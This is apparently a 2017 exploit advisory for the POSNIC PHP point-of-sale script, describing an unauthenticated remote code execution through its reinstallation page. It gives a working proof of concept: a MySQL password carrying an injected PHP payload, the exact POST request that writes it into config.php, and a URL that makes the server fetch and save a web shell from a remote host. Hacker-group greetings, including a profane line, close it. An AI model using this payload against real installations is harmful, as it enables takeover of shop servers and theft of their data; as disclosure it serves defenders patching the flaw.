POSNIC Unauthenticated Remote Code Execution
Posted on 01 February 2017
################################################################################################## #Exploit Title : POSNIC all version(till 1.03) unauthenticated remote code execution #Author : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046) #Date : 01/02/2017 #Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi #Discovered At : Indishell Lab ################################################################################################## //////////////////////// /// Overview: //////////////////////// POSNIC is PHP based point of sale script. This script is allowing CMS reinstalltion just by crafting parameters correctly. Vulnerability is in Setup_page.php page code. To exploit this issue, attacker need to setup remote MySQL server which is configured to accept from outside host. //////////////// /// POC //// /////////////// setup mysql server on a machine which accept mysql connection from remote host. -> create one user with password ";file_put_contents($_GET[2],file_get_contents($_GET[3]));// -> create database with name "owned" -> After setting up this thing, craft POST method request on page setup_page.php with post parameters select[]=1&select_box=owned&host=localhost&username=root&password=";file_put_contents($_GET[2],file_get_contents($_GET[3]));//&dummy=1&submit=INSTALL here select_box is the name of the remote server database name host is IP of remote server which is having MySQL server configured on it. username is the remote MySQL server user account name password parameter is the password of remote MySQL user account password and it must be ";file_put_contents($_GET[2],file_get_contents($_GET[3]));// -> After crafting request, config.php will get injected with code file_put_contents($_GET[2],file_get_contents($_GET[3])); -> And finally to get web shell on server just access config.php file with these parameters http://127.0.0.1/POSNIC/config.php?2=r.php&3=http://remote_server/web_shell.txt -> after accessing this, web shell hosted on remote_server (in txt format) will get save in POSNIC installation with file name r.php for more, visit https://manulinux.blogspot.in --==[[ Greetz To ]]==-- ############################################################################################ #Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, #Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad, #Hackuin,Alicks,mike waals,cyber gladiator,Cyber Ace,Golden boy INDIA,d3, rafay baloch, nag256 #Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash ############################################################################################# --==[[Love to]]==-- # My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,Gujjar PCP #Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik) --==[[ Special Fuck goes to ]]==-- <3 suriya Cyber Tyson <3
